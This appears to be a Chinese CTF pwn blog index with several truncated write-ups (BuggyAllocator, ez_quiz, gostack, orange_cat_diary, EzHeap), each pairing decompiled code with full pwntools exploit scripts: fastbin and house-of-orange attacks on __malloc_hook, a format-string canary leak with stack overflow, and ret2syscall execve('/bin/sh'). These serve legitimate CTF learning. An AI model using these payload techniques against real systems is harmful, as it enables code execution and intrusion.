#   [rsp+0x70] == NULL

malloc_hook = libc_base + libc.sym['__malloc_hook']
one_gadget = libc_base + 0xf1247

add(2,0x68)
add(3,0x68)
add(4,0x68)

delete(2)
delete(3)

edit(2,p64(malloc_hook - 0x23))


add(5,0x68)
add(6,0x68)
add(7,0x68)


success(hex(malloc_hook))
success(hex(malloc_hook - 0x23))
success(hex(one_gadget))
edit(7,b"a" * 0x13 + p64(one_gadget))
add(9,0x20)


# g(p)

p.interactive()

heap-2.27

逻辑与漏洞和2.23相同,2.27中加入了tcache 可以使用tcache poison去实现任意地址写的原语写free hook去getshell

exp:

Read More
post @ 2024-05-30

xctf_BuggyAllocator复现

程序有 alloc 和dealloc两个选项

__int64 menu()
{
  __int64 v0; // rax
  __int64 v1; // rax
  __int64 v2; // rax

  v0 = std::operator<<<std::char_traits<char>>(&std::cout, "*** Buggy  Allocator***");
  std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
  v1 = std::operator<<<std::char_traits<char>>(&std::cout, "***     1. Alloc    ***");
  std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
  v2 = std::operator<<<std::char_traits<char>>(&std::cout, "***     2. Dealloc  ***");
  std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
  return std::operator<<<std::char_traits<char>>(&std::cout, "> ");
}

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  __int64 v3; // rax
  int choice; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  sub_4019D7(a1, a2, a3);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      std::istream::operator>>(&std::cin, &choice);
      if ( choice != 1 )
        break;
      add();
    }
    if ( choice != 2 )
    {
      v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Invalid Choice");
      std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
      exit(0);
    }
    delete();
  }
}

,其中alloc申请大于 0x80 会使用malloc函数分配内存(ptmalloc2),小于等于 0x80会使用自定义的堆管理器去分配内存

_QWORD *__fastcall alloc_memory(size_t size)
{
  __int64 v2; // rax
  _QWORD **v3; // [rsp+18h] [rbp-18h]
  _QWORD *v4; // [rsp+20h] [rbp-10h]

  if ( !size )
    return 0LL;
  if ( size > 0x80 )
    return malloc_(size);
  v3 = (_QWORD **)&free_list[get_idx(size)];
  v4 = *v3;
  if ( *v3 )
  {
    *v3 = (_QWORD *)*v4;
    return v4;
  }
  else
  {
    v2 = Alignment_size(size);
    return refill(v2);
  }
}

自定义的堆管理器维护一个free_list,申请内存的时候,当free list中没有申请大小的堆块时,就会调用refill 填充空闲区域(arena_end - arena_start),填充完后free list中拿,当空闲区域不够refill的时候会判断free list中有没有更大的堆块可以进行refill,如果都不满足会调用malloc申请名称

_QWORD *__fastcall refill(unsigned __int64 size)
{
  int nobjs; // [rsp+18h] [rbp-38h] BYREF
  int i; // [rsp+1Ch] [rbp-34h]
  _QWORD *current_obj; // [rsp+20h] [rbp-30h]
  _QWORD *v5; // [rsp+28h] [rbp-28h]
  _QWORD *my_free_list; // [rsp+30h] [rbp-20h]
  _QWORD *v7; // [rsp+38h] [rbp-18h]
  _QWORD *next_obj; // [rsp+40h] [rbp-10h]
  unsigned __int64 v9; // [rsp+48h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  nobjs = 20;
  v5 = (_QWORD *)chunk_alloc(size, &nobjs);
  if ( nobjs == 1 )
    return v5;
  my_free_list = &free_list[get_idx(size)];
  v7 = v5;
  current_obj = v5;
  *my_free_list = (char *)v5 + size;
  for ( i = 0; i != nobjs - 1; ++i )
  {
    next_obj = (_QWORD *)((char *)current_obj + size);
    *current_obj = (char *)current_obj + size;
    current_obj = next_obj;
  }
  return v7;
}

_QWORD *__fastcall chunk_alloc(unsigned __int64 size, int *nobjs)
{
  unsigned __int64 idx; // rax
  int i; // [rsp+14h] [rbp-3Ch]
  unsigned __int64 all_size; // [rsp+18h] [rbp-38h]
  unsigned __int64 available_size; // [rsp+20h] [rbp-30h]
  _QWORD *arena_start_ptr; // [rsp+28h] [rbp-28h]
  size_t v8; // [rsp+38h] [rbp-18h]
  _QWORD **v9; // [rsp+40h] [rbp-10h]
  _QWORD *v10; // [rsp+48h] [rbp-8h]

  all_size = size * *nobjs;
  available_size = arena_end - arena_start;
  arena_start_ptr = (_QWORD *)arena_start;
  if ( all_size > arena_end - arena_start )
  {
    if ( available_size < size )
    {
      if ( available_size )
      {
        arena_start = arena_end;
        idx = get_idx(available_size);
        *arena_start_ptr = free_list[idx];
        free_list[idx] = arena_start_ptr;
      }
      v8 = 2 * all_size;
      for ( i = size; i <= 128; i += 8 )
      {
        v9 = (_QWORD **)&free_list[get_idx(i)];
        v10 = *v9;
        if ( *v9 )
        {
          *v9 = (_QWORD *)*v10;
          arena_start = (__int64)v10;
          arena_end = (__int64)v10 + i;
          return chunk_alloc(size, nobjs);
        }
      }
      arena_end = 0LL;
      arena_start = (__int64)malloc_(v8);
      arena_end = arena_start + v8;
      return chunk_alloc(size, nobjs);
    }
    else
    {
      *nobjs = available_size / size;
      arena_start += size * *nobjs;
      return arena_start_ptr;
    }
  }
  else
  {
    arena_start += all_size;
    return arena_start_ptr;
  }
}

存在漏洞的地方是建立链表的时候不会将最后一个obj的next指针置空,可以通过堆块上残留的数据伪造一个指针破坏链表,实现任意地址分配

for ( i = 0; i != nobjs - 1; ++i )
{
  next_obj = (_QWORD *)((char *)current_obj + size);
  *current_obj = (char *)current_obj + size;
  current_obj = next_obj;
}

利用的思路是,首先申请大量的堆块,使arena_end - arena_start尽可能的小,这样申请小块内存的时候,建立freelist,会优先从free list中的大堆块中建立,而不是从后面空闲内存那建立,利用大堆块中残留的数据伪造next指针破坏freelist实现任意地址写,写IO_2_1_stdout 通过puts的利用链将libc的地址泄露出来后,再通过environ泄露栈地址,最后写rop

Read More
post @ 2024-05-27

ez_quiz

可以发现程序分三个部分,第一个部分是一个base32的逻辑,第二个是一个表达式计算的逻辑,第三个是格式化字符串漏洞 + 栈溢出的逻辑,要先过了前两个逻辑才会走到存在漏洞的逻辑,程序还存在一个backdoor

int __cdecl main(int argc, const char **argv, const char **envp)
{
    unsigned int v3; // eax
    unsigned int v4; // eax
    unsigned int v5; // eax
    unsigned int v6; // eax
    unsigned __int8 v8; // [rsp+3h] [rbp-19Dh]
    unsigned __int8 v9; // [rsp+4h] [rbp-19Ch]
    unsigned __int8 v10; // [rsp+5h] [rbp-19Bh]
    unsigned __int8 v11; // [rsp+6h] [rbp-19Ah]
    unsigned __int8 v12; // [rsp+7h] [rbp-199h]
    int i; // [rsp+8h] [rbp-198h]
    unsigned int v14; // [rsp+10h] [rbp-190h]
    unsigned int v15; // [rsp+14h] [rbp-18Ch]
    char v16[8]; // [rsp+18h] [rbp-188h] BYREF
    char nptr[32]; // [rsp+20h] [rbp-180h] BYREF
    char v18[32]; // [rsp+40h] [rbp-160h] BYREF
    char v19[32]; // [rsp+60h] [rbp-140h] BYREF
    char input_data[64]; // [rsp+80h] [rbp-120h] BYREF
    __int64 v21[10]; // [rsp+C0h] [rbp-E0h] BYREF
    char v22[136]; // [rsp+110h] [rbp-90h] BYREF
    unsigned __int64 v23; // [rsp+198h] [rbp-8h]

    v23 = __readfsqword(0x28u);
    init(argc, argv, envp);
    signal(14, handler);
    v9 = 0;
    v10 = 0;
    v11 = 0;
    v12 = 0;
    qmemcpy(v21, "XOW3JPFLXGCK7TWMX6GMZIGOTK7ZJIELS65KBHU3TOG2BT4ZUDEJPGVATS7JDPVNQ2QL7EM3UCHZNGUC", sizeof(v21));
    v3 = time(0LL);
    srand(v3);
    v8 = rand() % 256;
    chal1(input_data, 64);
    if ( strlen(input_data) > 0x32 )
    {
        strcpy(v22, "Out of length.\n");
        v4 = strlen(v22);
        wr1te(1LL, v22, v4);
        exit(1);
    }
    encode(input_data, (__int64)v22);
    for ( i = 0; i < 160; ++i )
    {
        v8 = lfsr_h(v8);
        if ( i == 156 )
            v12 = v8;
        if ( i == 157 )
            v11 = v8;
        if ( i == 158 )
            v10 = v8;
        if ( i == 159 )
            v9 = v8;
    }
    if ( (unsigned int)cmp((__int64)v22, (__int64)v21, 0x50uLL) )
    {
        strcpy(v16, "Right!\n");
        alarm(2u);
        v5 = strlen(v16);
        wr1te(1LL, v16, v5);
        strcpy(v19, "Please solve this calculation:\n");
        v14 = (v9 - v10) * v11 % v12;
        printf("(( %d - %d ) * %d ) %% %d=?\n", v9, v10, v11, v12);
        fgets(nptr, 20, stdin);
        alarm(0);
        v15 = atoi(nptr);
        if ( v15 != v14 )
        {
            printf("You input:%d , but answer:%d", v15, v14);
            exit(1);
        }
        strcpy(v18, "Right! Here's your gift:\n");
        v6 = strlen(v18);
        wr1te(1LL, v18, v6);
        gift();
    }
    else
    {
        puts("Not Right");
    }
    return 0;
}
__int64 gift()
{
    char format[40]; // [rsp+0h] [rbp-30h] BYREF
    unsigned __int64 v2; // [rsp+28h] [rbp-8h]

    v2 = __readfsqword(0x28u);
    gets(format);
    printf(format);
    fflush(stdout);
    return gets(format);
}

base32decode 得到token是DRKCTF{P13@s3_1e@k_thE_addr_0f_7he_cAnARy_@nd_pie}

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

static const char base32_alphabet[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";

int base32_lookup(char c) {
    if (c >= 'A' && c <= 'Z') return c - 'A';
    if (c >= '2' && c <= '7') return c - '2' + 26;
    return -1;
}

void __fastcall decode(char *encoded, char *decoded) {
    int buffer = 0;
    int bits_left = 0;
    int count = 0;
    int length = strlen(encoded);

    for (int i = 0; i < length; i++) {
        if (encoded[i] == '=') break; // Padding character

        int val = base32_lookup(encoded[i]);
        if (val == -1) continue; // Skip invalid characters

        buffer = (buffer << 5) | val;
        bits_left += 5;

        if (bits_left >= 8) {
            decoded[count++] = ~(char)((buffer >> (bits_left - 8)) & 0xFF);
            bits_left -= 8;
        }
    }
    decoded[count] = '\0';
}

int main() {
    char encoded[] = "XOW3JPFLXGCK7TWMX6GMZIGOTK7ZJIELS65KBHU3TOG2BT4ZUDEJPGVATS7JDPVNQ2QL7EM3UCHZNGUC"; // Example encoded string
    char decoded[256];

    decode(encoded, decoded);

    printf("Decoded: %s\n", decoded);

    return 0;
}

式化字符串泄露canary和 elf相关的地址后,计算出backdoor的地址,之后栈溢出覆盖返回地址为backdoor就好了

exp:

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "challenge.qsnctf.com"
PORT = 30604

elf = context.binary = ELF('./attachment')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


ru("Please give me your token: ")

decoded_string = "DRKCTF{P13@s3_1e@k_thE_addr_0f_7he_cAnARy_@nd_pie}"
sl(decoded_string)

ru("(( ")
a = int(ru('-')[:-2])
b = int(ru(' )')[:-2])
ru('* ')
c = int(ru(' )')[:-2])
ru('% ')
d = int(ru('=')[:-1])

result = ((a - b) * c) %d
sl(str(result))

ru("Right! Here's your gift:\n")

payload = "--%11$p---%8$p"
# g(p)
sl(payload)
ru('--')
canary = int(r(18),16)
ru('---')
pie = int(r(14),16) - (0x62fadaae3bd7 - 0x62fadaae2000)

success(hex(canary))
success(hex(pie))


backdoor = pie + 0x0000000000001426
payload = b'a' * 0x28 + p64(canary) + b'a' * 8 + p64(backdoor)
sl(payload)


p.interactive()

stack

Read More
post @ 2024-05-22

gostack

栈溢出,存在一个可以执行的命令的backdoor函数,用了下有些问题,就打ret2syscall了,栈上有一个strings结构体要伪造一下,syscall read到一个可以写的段,写binsh然后syscall execve getshell

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "8.147.133.9"
PORT = 17425

elf = context.binary = ELF('./gostack')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


rax = 0x000000000040f984
rdi_r14_r13_r12_rbp_rbx = 0x00000000004a18a5
rsi = 0x000000000042138a
rdx = 0x00000000004944ec
syscall = 0x0000000000404043
bss = 0x564000

payload = b'a' * 0x100 
payload += p64(bss + 0x50) 
payload += p64(0x50) 
payload += b'a' * 0x20 
payload += p64(bss) 
payload += p64(0x100) 
payload += b'a' * 0x90
payload += p64(rdi_r14_r13_r12_rbp_rbx) 
payload += p64(0) 
payload += p64(0) 
payload += p64(0) 
payload += p64(0) 
payload += p64(0) 
payload += p64(0)
payload += p64(rax) 
payload += p64(0) 
payload += p64(rsi) 
payload += p64(bss) 
payload += p64(rdx) 
payload += p64(8) 
payload += p64(syscall)
payload += p64(rax) 
payload += p64(0x3b) 
payload += p64(rsi) 
payload += p64(0) 
payload += p64(rdi_r14_r13_r12_rbp_rbx) 
payload += p64(bss) 
payload += p64(0) 
payload += p64(0) 
payload += p64(0) 
payload += p64(0) 
payload += p64(0)
payload += p64(rdx) 
payload += p64(0) 
payload += p64(syscall)

sla('message',payload)
# g(p)


time.sleep(0.3)
s(b'/bin/sh\x00')




p.interactive()

orange_cat_diary

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int choice; // eax
  char s[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  sub_B26(a1, a2, a3);
  puts("Hello, I'm delighted to meet you. Please tell me your name.");
  memset(s, 0, 0x20uLL);
  read(0, s, 0x1FuLL);
  printf("Sweet %s, please record your daily stories.\n", s);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      choice = get_choice();
      if ( choice != 2 )
        break;
      show();
    }
    if ( choice > 2 )
    {
      if ( choice == 3 )
      {
        delete();
      }
      else if ( choice == 4 )
      {
        edit();
      }
    }
    else if ( choice == 1 )
    {
      add();
    }
  }
}

int menu()
{
  puts("\n##orange_cat_diary##\n");
  puts("1.Add diary");
  puts("2.Show diary");
  puts("3.Delete diary");
  puts("4.Edit diary");
  puts("5.Exit");
  return printf("Please input your choice:");
}

__int64 sub_DE9()
{
  if ( dword_202014 > 0 )
  {
    fwrite(ptr, 1uLL, dword_202058, stdout);
    --dword_202014;
  }
  puts("Diary view successful.");
  return 0LL;
}

__int64 sub_D83()
{
  if ( dword_202010 > 0 )
  {
    free(ptr);
    --dword_202010;
  }
  puts("Diary deletion successful.");
  return 0LL;
}

__int64 sub_CD9()
{
  int choice; // [rsp+4h] [rbp-Ch]

  printf("Please input the length of the diary content:");
  choice = get_choice();
  if ( dword_202058 + 8 < (unsigned int)choice )
  {
    puts("The diary content exceeds the maximum length allowed.");
    exit(1);
  }
  puts("Please enter the diary content:");
  read(0, ptr, choice);
  puts("Diary modification successful.");
  return 0LL;
}

__int64 sub_BF5()
{
  int choice; // [rsp+4h] [rbp-Ch]

  printf("Please input the length of the diary content:");
  choice = get_choice();
  if ( (unsigned int)choice > 0x1000 )
  {
    puts("The diary content exceeds the maximum length allowed.");
    exit(1);
  }
  ptr = malloc(choice);
  if ( !ptr )
  {
    puts("Memory allocation failed.");
    exit(1);
  }
  dword_202058 = choice;
  puts("Please enter the diary content:");
  read(0, ptr, dword_202058);
  puts("Diary addition successful.");
  return 0LL;
}

利用堆溢出打house of orange拿到unsortedbin得到libc基地址,之后用那一次uaf的机会任意地址分配,错位字节绕过size检查 打malloc_hook为 one gadget就好了

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "8.147.128.251"
PORT = 43423

elf = context.binary = ELF('./orange_cat_diary')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
p.sendafter = lambda x, y: p.sendafter(x, y)
p.sendlineafter = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

def add(size,content):
    p.sendlineafter("Please input your choice","1")
    p.sendlineafter("Please input the length of the diary content:",str(size))
    p.sendafter("Please enter the diary content:",content)

def show():
    p.sendlineafter("Please input your choice","2")

def delete():
    p.sendlineafter("Please input your choice","3")

def edit(size,content):
    p.sendlineafter("Please input your choice","4")
    p.sendlineafter("Please input the length of the diary content:",str(size))
    p.sendafter("Please enter the diary content:",content)


ru("Hello, I'm delighted to meet you. Please tell me your name.")
payload = b'\x00' * 0x1f
s(payload)


add(0x38,b"AAAA\n")
edit(0x40,b"A" * 0x38 + p64(0xfc1))

add(0x1000,b'A') # hosue of orange
add(0x408,b'A')

show()


r(6)
libc_base = u64(r(6).ljust(8,b'\x00')) - (0x73d0365c5141 - 0x73d036200000)
success(hex(libc_base))

malloc_hook = libc_base + libc.sym['__malloc_hook']

# 0x45226 execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   rax == NULL

# 0x4527a execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   [rsp+0x30] == NULL

# 0xf03a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
#   [rsp+0x50] == NULL

# 0xf1247 execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL


add(0x68,b"BBBB\n")
delete()

edit(0x68,p64(malloc_hook - 0x23))
add(0x68,b"BBBB\n")
one_gadget = libc_base + 0xf03a4
add(0x68,b"a" * 0x13 + p64(one_gadget))



p.sendlineafter("Please input your choice","1")
# g(p)
p.sendlineafter("Please input the length of the diary content:",str(0x8))



p.interactive()

EzHeap

题目的逻辑是这样的

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+Ch] [rbp-34h] BYREF
  __int64 v4[6]; // [rsp+10h] [rbp-30h]

  v4[5] = __readfsqword(0x28u);
  init();
  seccomp_init_0();
  v4[0] = (__int64)malloc_heap;
  v4[1] = (__int64)free_heap;
  v4[2] = (__int64)edit_heap;
  v4[3] = (__int64)show_heap;
  v4[4] = (__int64)exit_programe;
  while ( 1 )
  {
    menu();
    __isoc99_scanf("%d", &v3);
    if ( v3 <= 0 || v3 > 5 )
      puts("Invalid choice");
    else
      ((void (*)(void))v4[v3 - 1])();
  }
}

unsigned __int64 malloc_heap()
{
  unsigned int size; // [rsp+0h] [rbp-10h] BYREF
  int i; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  for ( i = 0; i <= 79 && *((_QWORD *)&chunk_list + i); ++i )
    ;
  if ( i <= 79 )
  {
    printf("size:");
    __isoc99_scanf("%d", &size);
    if ( size >= 0x501 )
    {
      puts("error");
      exit(0);
    }
    *((_QWORD *)&chunk_list + i) = malloc((int)size);
    memset(*((void **)&chunk_list + i), 0, (int)size);
    size_list[i] = (int)size;
    printf("content:");
    read(0, *((void **)&chunk_list + i), (int)size);
  }
  else
  {
    puts("full heap! ");
  }
  return v3 - __readfsqword(0x28u);
}

unsigned __int64 free_heap()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("idx:");
  __isoc99_scanf("%d", &v1);
  if ( v1 > 0x4F || !*((_QWORD *)&chunk_list + (int)v1) )
  {
    puts("error!");
    exit(0);
  }
  free(*((void **)&chunk_list + (int)v1));
  *((_QWORD *)&chunk_list + (int)v1) = 0LL;
  return v2 - __readfsqword(0x28u);
}

unsigned __int64 edit_heap()
{
  unsigned int idx; // [rsp+0h] [rbp-10h] BYREF
  unsigned int size; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("idx:");
  __isoc99_scanf("%d", &idx);
  if ( idx > 0x4F || !*((_QWORD *)&chunk_list + (int)idx) )
  {
    puts("error!");
    exit(0);
  }
  printf("size:");
  __isoc99_scanf("%d", &size);
  if ( size >= 0x501 )
  {
    puts("error");
    exit(0);
  }
  printf("content:");
  read(0, *((void **)&chunk_list + (int)idx), (int)size);
  return v3 - __readfsqword(0x28u);
}

unsigned __int64 show_heap()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("idx:");
  __isoc99_scanf("%d", &v1);
  if ( v1 > 0x4F || !*((_QWORD *)&chunk_list + (int)v1) )
  {
    puts("error!");
    exit(1);
  }
  printf("content:");
  printf("%s", *((const char **)&chunk_list + (int)v1));
  return v2 - __readfsqword(0x28u);
}

void __noreturn exit_programe()
{
  exit(0);
}
Read More
⬆︎TOP